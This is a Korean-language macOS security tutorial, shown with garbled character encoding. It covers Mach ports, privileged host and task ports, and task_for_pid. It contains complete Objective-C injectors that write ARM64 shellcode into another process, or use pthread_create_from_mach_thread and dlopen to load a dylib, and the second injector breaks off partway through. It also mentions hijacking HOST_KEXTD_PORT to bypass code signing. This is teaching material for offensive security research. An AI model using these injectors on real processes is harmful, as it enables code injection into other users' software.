κ°μ ν¬νΈμ μ°κ²°λ λ€λ₯Έ μμ
μ λνλ΄κΈ° μν΄ **+**λ₯Ό μ¬μ©νλ κ²λ μ£Όλͺ©νμΈμ.
λν procesxpλ₯Ό μ¬μ©νμ¬ λ±λ‘λ μλΉμ€ μ΄λ¦μ νμΈν μ μμ΅λλ€(SIPκ° λΉνμ±νλμ΄ μμ΄μΌ com.apple.system-task-port νμ).
procesp 1 ports
μ΄ λꡬλ http://newosxbook.com/tools/binpack64-256.tar.gzμμ λ€μ΄λ‘λνμ¬ iOSμ μ€μΉν μ μμ΅λλ€.
μ½λ μμ
보λ΄λ μ¬λμ΄ ν¬νΈλ₯Ό ν λΉνκ³ , μ΄λ¦ org.darlinghq.exampleμ λν μ μ‘ κΆνμ μμ±νμ¬ λΆνΈμ€νΈλ© μλ²μ μ μ‘νλ λ°©λ²μ μ£Όλͺ©νμΈμ. 보λ΄λ μ¬λμ ν΄λΉ μ΄λ¦μ μ μ‘ κΆνμ μμ²νκ³ μ΄λ₯Ό μ¬μ©νμ¬ λ©μμ§λ₯Ό μ μ‘νμ΅λλ€.
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
int main() {
// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);
// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");
// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");
// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;
kr = mach_msg(
&message.header, // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG, // Options. We're receiving a message.
0, // Size of the message being sent, if sending.
sizeof(message), // Size of the buffer for receiving.
port, // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");
message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}
νΉκΆ ν¬νΈ
νΉμ μμ μ΄ SEND κΆνμ κ°μ§κ³ μλ κ²½μ° νΉμ λ―Όκ°ν μμ μ μννκ±°λ νΉμ λ―Όκ°ν λ°μ΄ν°μ μ κ·Όν μ μλ νΉλ³ν ν¬νΈκ° μμ΅λλ€. μ΄λ 곡격μμ κ΄μ μμ μ΄λ¬ν ν¬νΈκ° λ§€μ° ν₯λ―Έλ‘μ΄ μ΄μ λ κΈ°λ₯ λλ¬Έλ§μ΄ μλλΌ μμ κ°μ SEND κΆνμ 곡μ ν μ μκΈ° λλ¬Έμ λλ€.
νΈμ€νΈ νΉλ³ ν¬νΈ
μ΄ ν¬νΈλ μ«μλ‘ νμλ©λλ€.
SEND κΆνμ **host_get_special_port**λ₯Ό νΈμΆνμ¬ μ»μ μ μμΌλ©°, RECEIVE κΆνμ **host_set_special_port**λ₯Ό νΈμΆνμ¬ μ»μ μ μμ΅λλ€. κ·Έλ¬λ λ νΈμΆ λͺ¨λ host_priv ν¬νΈλ₯Ό νμλ‘ νλ©°, μ΄λ μ€μ§ 루νΈλ§ μ κ·Όν μ μμ΅λλ€. κ²λ€κ°, κ³Όκ±°μλ 루νΈκ° **host_set_special_port**λ₯Ό νΈμΆνμ¬ μμμ ν¬νΈλ₯Ό νμ·¨ν μ μμμΌλ©°, μλ₯Ό λ€μ΄ HOST_KEXTD_PORTλ₯Ό νμ·¨νμ¬ μ½λ μλͺ
μ μ°νν μ μμμ΅λλ€(νμ¬ SIPκ° μ΄λ₯Ό λ°©μ§ν©λλ€).
μ΄λ€μ 2κ°μ κ·Έλ£ΉμΌλ‘ λλ©λλ€: 첫 7κ°μ ν¬νΈλ 컀λμ μν΄ μμ λλ©°, 1μ HOST_PORT, 2λ HOST_PRIV_PORT, 3μ HOST_IO_MASTER_PORT, 7μ HOST_MAX_SPECIAL_KERNEL_PORTμ
λλ€.
μ«μ 8λΆν° μμνλ ν¬νΈλ μμ€ν
λ°λͺ¬μ μν΄ μμ λλ©°, host_special_ports.hμμ μ μΈλ κ²μ μ°Ύμ μ μμ΅λλ€.
- νΈμ€νΈ ν¬νΈ: νλ‘μΈμ€κ° μ΄ ν¬νΈμ λν΄ SEND κΆνμ κ°μ§κ³ μλ€λ©΄, λ€μκ³Ό κ°μ 루ν΄μ νΈμΆνμ¬ μμ€ν
μ λν μ 보λ₯Ό μ»μ μ μμ΅λλ€:
host_processor_info: νλ‘μΈμ μ 보 μ»κΈ°host_info: νΈμ€νΈ μ 보 μ»κΈ°host_virtual_physical_table_info: κ°μ/물리 νμ΄μ§ ν μ΄λΈ (MACH_VMDEBUG νμ)host_statistics: νΈμ€νΈ ν΅κ³ μ»κΈ°mach_memory_info: 컀λ λ©λͺ¨λ¦¬ λ μ΄μμ μ»κΈ°
- νΈμ€νΈ νλΌμ΄λΉ ν¬νΈ: μ΄ ν¬νΈμ λν΄ SEND κΆνμ κ°μ§ νλ‘μΈμ€λ λΆν λ°μ΄ν° νμ λλ 컀λ νμ₯ λ‘λ μλμ κ°μ νΉκΆ μμ μ μνν μ μμ΅λλ€. νλ‘μΈμ€λ 루νΈμ¬μΌ μ΄ κΆνμ μ»μ μ μμ΅λλ€.
- λν,
kext_requestAPIλ₯Ό νΈμΆνκΈ° μν΄μλ **com.apple.private.kext***μ κ°μ λ€λ₯Έ κΆνμ΄ νμνλ©°, μ΄λ Apple λ°μ΄λ리μκ²λ§ λΆμ¬λ©λλ€. - νΈμΆν μ μλ λ€λ₯Έ 루ν΄μ λ€μκ³Ό κ°μ΅λλ€:
host_get_boot_info:machine_boot_info()μ»κΈ°host_priv_statistics: νΉκΆ ν΅κ³ μ»κΈ°vm_allocate_cpm: μ°μ 물리 λ©λͺ¨λ¦¬ ν λΉhost_processors: νΈμ€νΈ νλ‘μΈμμ λν SEND κΆνmach_vm_wire: λ©λͺ¨λ¦¬λ₯Ό μμ£Ό μνλ‘ λ§λ€κΈ°
- 루νΈκ° μ΄ κΆνμ μ κ·Όν μ μμΌλ―λ‘,
host_set_[special/exception]_port[s]λ₯Ό νΈμΆνμ¬ νΈμ€νΈ νΉλ³ λλ μμΈ ν¬νΈλ₯Ό νμ·¨ν μ μμ΅λλ€.
λͺ¨λ νΈμ€νΈ νΉλ³ ν¬νΈλ₯Ό 보기 μν΄ λ€μμ μ€νν μ μμ΅λλ€:
procexp all ports | grep "HSP"
Task Special Ports
μ΄λ€μ μ μλ €μ§ μλΉμ€μ μμ½λ ν¬νΈμ
λλ€. task_[get/set]_special_portλ₯Ό νΈμΆνμ¬ κ°μ Έμ€κ±°λ μ€μ ν μ μμ΅λλ€. μ΄λ€μ task_special_ports.hμμ μ°Ύμ μ μμ΅λλ€:
typedef int task_special_port_t;
#define TASK_KERNEL_PORT 1 /* Represents task to the outside
world.*/
#define TASK_HOST_PORT 2 /* The host (priv) port for task. */
#define TASK_BOOTSTRAP_PORT 4 /* Bootstrap environment for task. */
#define TASK_WIRED_LEDGER_PORT 5 /* Wired resource ledger for task. */
#define TASK_PAGED_LEDGER_PORT 6 /* Paged resource ledger for task. */
- TASK_KERNEL_PORT[task-self send right]: μ΄ μμ μ μ μ΄νλ λ° μ¬μ©λλ ν¬νΈμ λλ€. μμ μ μν₯μ λ―ΈμΉλ λ©μμ§λ₯Ό 보λ΄λ λ° μ¬μ©λ©λλ€. μ΄λ **mach_task_self (μλμ Task Ports μ°Έμ‘°)**μ μν΄ λ°νλλ ν¬νΈμ λλ€.
- TASK_BOOTSTRAP_PORT[bootstrap send right]: μμ μ λΆνΈμ€νΈλ© ν¬νΈμ λλ€. λ€λ₯Έ μμ€ν μλΉμ€ ν¬νΈμ λ°νμ μμ²νλ λ©μμ§λ₯Ό 보λ΄λ λ° μ¬μ©λ©λλ€.
- TASK_HOST_NAME_PORT[host-self send right]: ν¬ν¨λ νΈμ€νΈμ λν μ 보λ₯Ό μμ²νλ λ° μ¬μ©λλ ν¬νΈμ λλ€. μ΄λ mach_host_selfμ μν΄ λ°νλλ ν¬νΈμ λλ€.
- TASK_WIRED_LEDGER_PORT[ledger send right]: μ΄ μμ μ΄ κ³ μ 컀λ λ©λͺ¨λ¦¬λ₯Ό κ°μ Έμ€λ μΆμ²λ₯Ό λͺ λͺ νλ ν¬νΈμ λλ€.
- TASK_PAGED_LEDGER_PORT[ledger send right]: μ΄ μμ μ΄ κΈ°λ³Έ λ©λͺ¨λ¦¬ κ΄λ¦¬ λ©λͺ¨λ¦¬λ₯Ό κ°μ Έμ€λ μΆμ²λ₯Ό λͺ λͺ νλ ν¬νΈμ λλ€.
Task Ports
μλ Machλ βνλ‘μΈμ€βκ° μλλΌ βμμ
βμ κ°μ§κ³ μμμΌλ©°, μ΄λ μ€λ λμ 컨ν
μ΄λμ λ κ°κΉλ€κ³ μ¬κ²¨μ‘μ΅λλ€. Machκ° BSDμ λ³ν©λλ©΄μ κ° μμ
μ BSD νλ‘μΈμ€μ μ°κ΄λμμ΅λλ€. λ°λΌμ λͺ¨λ BSD νλ‘μΈμ€λ νλ‘μΈμ€κ° λκΈ° μν΄ νμν μΈλΆ μ 보λ₯Ό κ°μ§κ³ μμΌλ©°, λͺ¨λ Mach μμ
λ λ΄λΆ μλμ κ°μ§κ³ μμ΅λλ€(μ‘΄μ¬νμ§ μλ pid 0μΈ kernel_taskλ₯Ό μ μΈνκ³ ).
μ΄μ κ΄λ ¨λ λ κ°μ§ λ§€μ° ν₯λ―Έλ‘μ΄ ν¨μκ° μμ΅λλ€:
task_for_pid(target_task_port, pid, &task_port_of_pid): μ§μ λpidμ κ΄λ ¨λ μμ μ μμ ν¬νΈμ λν SEND κΆνμ κ°μ Έμμ μ§μ λtarget_task_portμ μ 곡ν©λλ€(μΌλ°μ μΌλ‘mach_task_self()λ₯Ό μ¬μ©ν νΈμΆ μμ μ΄μ§λ§, λ€λ₯Έ μμ μ SEND ν¬νΈμΌ μλ μμ΅λλ€).pid_for_task(task, &pid): μμ μ λν SEND κΆνμ΄ μ£Όμ΄μ‘μ λ, μ΄ μμ μ΄ μ΄λ€ PIDμ κ΄λ ¨μ΄ μλμ§ μ°Ύμ΅λλ€.
μμ
λ΄μμ μμ
μ μννκΈ° μν΄μλ mach_task_self()λ₯Ό νΈμΆνμ¬ μμ μκ² SEND κΆνμ΄ νμν©λλ€(μ΄λ task_self_trap (28)μ μ¬μ©ν©λλ€). μ΄ κΆνμΌλ‘ μμ
μ λ€μκ³Ό κ°μ μ¬λ¬ μμ
μ μνν μ μμ΅λλ€:
task_threads: μμ μ μ€λ λμ λͺ¨λ μμ ν¬νΈμ λν SEND κΆνμ κ°μ Έμ΅λλ€.task_info: μμ μ λν μ 보λ₯Ό κ°μ Έμ΅λλ€.task_suspend/resume: μμ μ μΌμ μ€μ§νκ±°λ μ¬κ°ν©λλ€.task_[get/set]_special_portthread_create: μ€λ λλ₯Ό μμ±ν©λλ€.task_[get/set]_state: μμ μνλ₯Ό μ μ΄ν©λλ€.- λ λ§μ λ΄μ©μ mach/task.hμμ μ°Ύμ μ μμ΅λλ€.
Caution
λ€λ₯Έ μμ μ μμ ν¬νΈμ λν SEND κΆνμ΄ μμΌλ©΄, λ€λ₯Έ μμ μ λν΄ μ΄λ¬ν μμ μ μνν μ μμ΅λλ€.
κ²λ€κ°, task_portλ vm_map ν¬νΈμ΄κΈ°λ νλ©°, μ΄λ vm_read() λ° vm_write()μ κ°μ ν¨μλ₯Ό μ¬μ©νμ¬ μμ
λ΄μμ λ©λͺ¨λ¦¬λ₯Ό μ½κ³ μ‘°μν μ μκ² ν΄μ€λλ€. μ΄λ κΈ°λ³Έμ μΌλ‘ λ€λ₯Έ μμ
μ task_portμ λν SEND κΆνμ΄ μλ μμ
μ΄ ν΄λΉ μμ
μ μ½λλ₯Ό μ£Όμ
ν μ μμμ μλ―Έν©λλ€.
컀λλ μμ
μ΄κΈ° λλ¬Έμ, λκ΅°κ°κ° **kernel_task**μ λν SEND κΆνμ μ»μΌλ©΄, 컀λμ΄ λ¬΄μμ΄λ μ€ννλλ‘ λ§λ€ μ μμ΅λλ€(νμ₯).
mach_task_self()λ₯Ό νΈμΆνμ¬ νΈμΆ μμ μ λν μ΄ ν¬νΈμ μ΄λ¦μ κ°μ Έμ΅λλ€. μ΄ ν¬νΈλ **exec()**λ₯Ό ν΅ν΄μλ§ μμλ©λλ€;fork()λ‘ μμ±λ μ μμ μ μ μμ ν¬νΈλ₯Ό λ°μ΅λλ€(νΉλ³ν κ²½μ°λ‘, suid λ°μ΄λ리μμexec()ν μμ λ μ μμ ν¬νΈλ₯Ό λ°μ΅λλ€). μμ μ μμ±νκ³ ν¬νΈλ₯Ό μ»λ μ μΌν λ°©λ²μfork()λ₯Ό μννλ©΄μ βν¬νΈ μ€μ λμ€βλ₯Ό μννλ κ²μ λλ€.- ν¬νΈμ μ κ·ΌνκΈ° μν μ ν μ¬νμ λ€μκ³Ό κ°μ΅λλ€(λ°μ΄λ리
AppleMobileFileIntegrityμmacos_task_policyμμ): - μ±μ΄
com.apple.security.get-task-allowκΆνμ κ°μ§κ³ μμΌλ©΄, κ°μ μ¬μ©μμ νλ‘μΈμ€κ° μμ ν¬νΈμ μ κ·Όν μ μμ΅λλ€(μΌλ°μ μΌλ‘ λλ²κΉ μ μν΄ Xcodeμ μν΄ μΆκ°λ¨). λ Έν리μ μ΄μ νλ‘μΈμ€λ νλ‘λμ 릴리μ€μμλ μ΄λ₯Ό νμ©νμ§ μμ΅λλ€. com.apple.system-task-portsκΆνμ΄ μλ μ±μ 컀λμ μ μΈν λͺ¨λ νλ‘μΈμ€μ μμ ν¬νΈλ₯Ό μ»μ μ μμ΅λλ€. μ΄μ λ²μ μμλ **task_for_pid-allow**λΌκ³ λΆλ Έμ΅λλ€. μ΄λ Apple μ ν리μΌμ΄μ μλ§ λΆμ¬λ©λλ€.- 루νΈλ νλλ λ°νμμΌλ‘ μ»΄νμΌλμ§ μμ μ ν리μΌμ΄μ μ μμ ν¬νΈμ μ κ·Όν μ μμ΅λλ€(Appleμ΄ μλ).
μμ
μ΄λ¦ ν¬νΈ: _μμ
ν¬νΈ_μ λΉνΉκΆ λ²μ μ
λλ€. μμ
μ μ°Έμ‘°νμ§λ§ μ΄λ₯Ό μ μ΄ν μλ μμ΅λλ€. μ΄λ₯Ό ν΅ν΄ μ¬μ©ν μ μλ μ μΌν κ²μ task_info()μΈ κ² κ°μ΅λλ€.
Thread Ports
μ€λ λμλ κ΄λ ¨ ν¬νΈκ° μμΌλ©°, μ΄λ **task_threads**λ₯Ό νΈμΆνλ μμ
κ³Ό processor_set_threadsλ₯Ό ν΅ν΄ λ³Ό μ μμ΅λλ€. μ€λ λ ν¬νΈμ λν SEND κΆνμ thread_act μλΈμμ€ν
μ ν¨μλ₯Ό μ¬μ©ν μ μκ² ν΄μ€λλ€, μλ₯Ό λ€μ΄:
thread_terminatethread_[get/set]_stateact_[get/set]_statethread_[suspend/resume]thread_info- β¦
λͺ¨λ μ€λ λλ **mach_thread_self**λ₯Ό νΈμΆνμ¬ μ΄ ν¬νΈλ₯Ό μ»μ μ μμ΅λλ€.
Task ν¬νΈλ₯Ό ν΅ν μ€λ λμ Shellcode μ£Όμ
λ€μμμ shellcodeλ₯Ό κ°μ Έμ¬ μ μμ΅λλ€:
// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep
#import <Foundation/Foundation.h>
double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];
performMathOperations(); // Silent action
[NSThread sleepForTimeInterval:5];
}
}
return 0;
}
μ΄μ νλ‘κ·Έλ¨μ μ»΄νμΌνκ³ λμΌν μ¬μ©μλ‘ μ½λλ₯Ό μ£Όμ ν μ μλλ‘ κΆνμ μΆκ°ν©λλ€ (κ·Έλ μ§ μμΌλ©΄ sudoλ₯Ό μ¬μ©ν΄μΌ ν©λλ€).
sc_injector.m
```objectivec // gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector // Based on https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a?permalink_comment_id=2981669 // and on https://newosxbook.com/src.jl?tree=listings&file=inject.c#import <Foundation/Foundation.h> #import <AppKit/AppKit.h> #include <mach/mach_vm.h> #include <sys/sysctl.h>
#ifdef arm64
kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags );
kern_return_t mach_vm_write ( vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt );
#else #include <mach/mach_vm.h> #endif
#define STACK_SIZE 65536 #define CODE_SIZE 128
// ARM64 shellcode that executes touch /tmp/lalala char injectedCode[] = β\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00β;
int inject(pid_t pid){
task_t remoteTask;
// Get access to the task port of the process we want to inject into kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); if (kr != KERN_SUCCESS) { fprintf (stderr, βUnable to call task_for_pid on pid %d: %d. Cannot continue!\nβ,pid, kr); return (-1); } else{ printf(βGathered privileges over the task port of process: %d\nβ, pid); }
// Allocate memory for the stack mach_vm_address_t remoteStack64 = (vm_address_t) NULL; mach_vm_address_t remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS) { fprintf(stderr,βUnable to allocate memory for remote stack in thread: Error %s\nβ, mach_error_string(kr)); return (-2); } else {
fprintf (stderr, βAllocated remote stack @0x%llx\nβ, remoteStack64); }
// Allocate memory for the code remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS) { fprintf(stderr,βUnable to allocate memory for remote code in thread: Error %s\nβ, mach_error_string(kr)); return (-2); }
// Write the shellcode to the allocated memory kr = mach_vm_write(remoteTask, // Task port remoteCode64, // Virtual Address (Destination) (vm_address_t) injectedCode, // Source 0xa9); // Length of the source
if (kr != KERN_SUCCESS) { fprintf(stderr,βUnable to write remote thread memory: Error %s\nβ, mach_error_string(kr)); return (-3); }
// Set the permissions on the allocated code memory kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS) { fprintf(stderr,βUnable to set memory permissions for remote threadβs code: Error %s\nβ, mach_error_string(kr)); return (-4); }
// Set the permissions on the allocated stack memory kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS) { fprintf(stderr,βUnable to set memory permissions for remote threadβs stack: Error %s\nβ, mach_error_string(kr)); return (-4); }
// Create thread to run shellcode struct arm_unified_thread_state remoteThreadState64; thread_act_t remoteThread;
memset(&remoteThreadState64, β\0β, sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // this is the real stack //remoteStack64 -= 8; // need alignment of 16
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf (βRemote Stack 64 0x%llx, Remote code is %p\nβ, remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
if (kr != KERN_SUCCESS) { fprintf(stderr,βUnable to create remote thread: error %sβ, mach_error_string (kr)); return (-3); }
return (0); }
pid_t pidForProcessName(NSString *processName) { NSArray *arguments = @[@βpgrepβ, processName]; NSTask *task = [[NSTask alloc] init]; [task setLaunchPath:@β/usr/bin/envβ]; [task setArguments:arguments];
NSPipe *pipe = [NSPipe pipe]; [task setStandardOutput:pipe];
NSFileHandle *file = [pipe fileHandleForReading];
[task launch];
NSData *data = [file readDataToEndOfFile]; NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
return (pid_t)[string integerValue]; }
BOOL isStringNumeric(NSString str) { NSCharacterSet nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet]; NSRange r = [str rangeOfCharacterFromSet: nonNumbers]; return r.location == NSNotFound; }
int main(int argc, const char * argv[]) {
@autoreleasepool {
if (argc < 2) {
NSLog(@βUsage: %s
NSString *arg = [NSString stringWithUTF8String:argv[1]]; pid_t pid;
if (isStringNumeric(arg)) { pid = [arg intValue]; } else { pid = pidForProcessName(arg); if (pid == 0) { NSLog(@βError: Process named β%@β not found.β, arg); return 1; } else{ printf(βFound PID of process β%sβ: %d\nβ, [arg UTF8String], pid); } }
inject(pid); }
return 0; }
</details>
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>
Tip
iOSμμ μλνλ €λ©΄
dynamic-codesigningκΆνμ΄ νμνμ¬ μ°κΈ° κ°λ₯ν λ©λͺ¨λ¦¬ μ€ν νμΌμ λ§λ€ μ μμ΅λλ€.
Task ν¬νΈλ₯Ό ν΅ν μ€λ λμμμ Dylib μ£Όμ
macOSμμ μ€λ λλ Mach λλ posix pthread apiλ₯Ό μ¬μ©νμ¬ μ‘°μν μ μμ΅λλ€. μ΄μ μ£Όμ
μμ μμ±ν μ€λ λλ Mach apiλ₯Ό μ¬μ©νμ¬ μμ±λμμΌλ―λ‘ posix νΈνμ±μ΄ μμ΅λλ€.
posix νΈν apiμ μμ ν νμκ° μμκΈ° λλ¬Έμ κ°λ¨ν μμ½λλ₯Ό μ£Όμ νμ¬ λͺ λ Ήμ μ€νν μ μμμ΅λλ€. λ 볡μ‘ν μ£Όμ μ μ€λ λκ° λν posix νΈνμ±μ κ°μ ΈμΌ ν©λλ€.
λ°λΌμ μ€λ λλ₯Ό κ°μ νκΈ° μν΄ **pthread_create_from_mach_thread**λ₯Ό νΈμΆν΄μΌ νλ©°, μ΄λ μ ν¨ν pthreadλ₯Ό μμ±ν©λλ€. κ·Έλ° λ€μ, μ΄ μλ‘μ΄ pthreadλ dlopenμ νΈμΆνμ¬ μμ€ν
μμ dylibλ₯Ό λ‘λν μ μμΌλ―λ‘, λ€μν μμ
μ μννκΈ° μν΄ μλ‘μ΄ μμ½λλ₯Ό μμ±νλ λμ μ¬μ©μ μ μ λΌμ΄λΈλ¬λ¦¬λ₯Ό λ‘λν μ μμ΅λλ€.
μμ dylibsλ λ€μμμ μ°Ύμ μ μμ΅λλ€ (μλ₯Ό λ€μ΄ λ‘κ·Έλ₯Ό μμ±νκ³ μ΄λ₯Ό λ€μ μ μλ κ²):
macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES
dylib_injector.m
```objectivec // gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector // Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c #include#include <sys/stat.h> #include <pthread.h>
#ifdef arm64 //#include βmach/arm/thread_status.hβ
// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported // And I say, bullshit. kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags );
kern_return_t mach_vm_write ( vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt );
#else #include <mach/mach_vm.h> #endif
#define STACK_SIZE 65536 #define CODE_SIZE 128
char injectedCode[] =
// β\x00\x00\x20\xd4β // BRK X0 ; // useful if you need a break :)
// Call pthread_set_self
β\xff\x83\x00\xd1β // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables β\xFD\x7B\x01\xA9β // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack β\xFD\x43\x00\x91β // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer β\xff\x43\x00\xd1β // SUB SP, SP, #0x10 ; Space for the β\xE0\x03\x00\x91β // MOV X0, SP ; (arg0)Store in the stack the thread struct β\x01\x00\x80\xd2β // MOVZ X1, 0 ; X1 (arg1) = 0; β\xA2\x00\x00\x10β // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start β\x03\x00\x80\xd2β // MOVZ X3, 0 ; X3 (arg3) = 0; β\x68\x01\x00\x58β // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread) β\x00\x01\x3f\xd6β // BLR X8 ; call pthread_create_from_mach_thread β\x00\x00\x00\x14β // loop: b loop ; loop forever
// Call dlopen with the path to the library β\xC0\x01\x00\x10β // ADR X0, #56 ; X0 => βLIBLIBLIBβ¦β; β\x68\x01\x00\x58β // LDR X8, #44 ; load DLOPEN β\x01\x00\x80\xd2β // MOVZ X1, 0 ; X1 = 0; β\x29\x01\x00\x91β // ADD x9, x9, 0 - I left this as a nop β\x00\x01\x3f\xd6β // BLR X8 ; do dlopen()
// Call pthread_exit β\xA8\x00\x00\x58β // LDR X8, #20 ; load PTHREADEXT β\x00\x00\x80\xd2β // MOVZ X0, 0 ; X1 = 0; β\x00\x01\x3f\xd6β // BLR X8 ; do pthread_exit
βPTHRDCRTβ // <- βPTHRDEXTβ // <- βDLOPEN__β // <- βLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBβ β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β β\x00β ;
int inject(pid_t pid, const char *lib) {
task_t remoteTask; struct stat buf;
// Check if the library exists int rc = stat (lib, &buf);
if (rc != 0) { fprintf (stderr, βUnable to open library file %s (%s) - Cannot inject\nβ, lib,strerror (errno)); //return (-9); }
// Get access to the task port of the process we want to inject into kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); if (kr != KERN_SUCCESS) { fprintf (stderr, βUnable to call task_for_pid on pid %d: %d. Cannot continue!\nβ,pid, kr); return (-1); } else{ printf(βGathered privileges over the task port of process: %d\nβ, pid); }
// Allocate memory for the stack mach_vm_address_t remoteStack64 = (vm_address_t) NULL; mach_vm_address_t remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS) { fprintf(stderr,βUnable to allocate memory for remote stack in thread: Error %s\nβ, mach_error_string(kr)); return (-2); } else {
fprintf (stderr, βAllocated remote stack @0x%llx\nβ, remoteStack64); }
// Allocate memory for the code remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS) { fprintf(stderr,βUnable to allocate memory for remote code in thread: Error %s\nβ, mach_error_string(kr)); return (-2); }
// Patch shellcode
int i = 0; char *possiblePatchLocation = (injectedCode ); for (i = 0 ; i < 0x100; i++) {
// Patching is crude, but works. // extern void *_pthread_set_self; possiblePatchLocation++;
uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, βpthread_create_from_mach_threadβ); //(uint64_t) pthread_create_from_mach_thread; uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, βpthread_exitβ); //(uint64_t) pthread_exit; uint64_t addrOfDlopen = (uint64_t) dlopen;
if (memcmp (possiblePatchLocation, βPTHRDEXTβ, 8) == 0) { memcpy(possiblePatchLocation, &addrOfPthreadExit,8); printf (βPthread exit @%llx, %llx\nβ, addrOfPthreadExit, pthread_exit); }
if (memcmp (possiblePatchLocation, βPTHRDCRTβ, 8) == 0) { memcpy(possiblePatchLocation, &addrOfPthreadCreate,8); printf (βPthread create from mach thread @%llx\nβ, addrOfPthreadCreate); }
